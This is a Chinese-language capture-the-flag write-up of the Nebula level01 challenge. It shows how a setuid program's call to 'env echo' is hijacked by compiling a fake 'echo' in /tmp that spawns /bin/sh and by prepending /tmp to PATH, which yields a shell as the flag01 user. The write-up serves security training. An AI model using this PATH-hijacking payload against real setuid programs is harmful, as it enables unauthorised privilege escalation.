There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01 . Files for this level can be found in /home/flag01.
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
使用level01用户名来编译运行(比如可执行程序为flag01)后添加用户名为flag01的可执行位,然后用level01的用户来运行程序,如何获取flag01的用户权限呢?其中有一个getflag的可执行程序,如果获取了对应的权限,那么运行这个getflag会打印出成功获取权限的信息。
首先得明白env这个命令是干什么的,env用来执行当前环境变量下的命令或者显示当前的环境变量。
echo是打印命令。
如果直接运行这个程序肯定会在终端上打印出来 and now what?
要想获得flag01的权限关键是利用system这个执行命令的系统调用。我们这个程序的可执行权限已经是flag01了,也就是它的euid用户是已经是flag01了。
因为echo已经是系统的内置命令了,所以我们无法改变echo的行为,开始时先export echo=getflag,或者别的一些都是不成功的,依然无法改变echo的行为。
因为每个用户在/tmp下面都是具有rwx权限的,所以我们可以在/tmp下面新建一个echo,然后export PATH=/tmp:$PATH, 这样的话执行起来会先去/tmp目录下查找echo这个可执行程序,如果存在则运行。
好的,下面在/tmp目录下新建一个文件test.c:
#include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { setuid(0); setgid(0); execl("/bin/sh","sh",(char *)0) return 0; }
然后gcc -o echo test.c
好的,来到我们flag01的目录下运行./flag01, 发现返回了一个shell,输入命令whoami, 发现用户名变成了flag01,运行getflag发现oh,my God!
成功。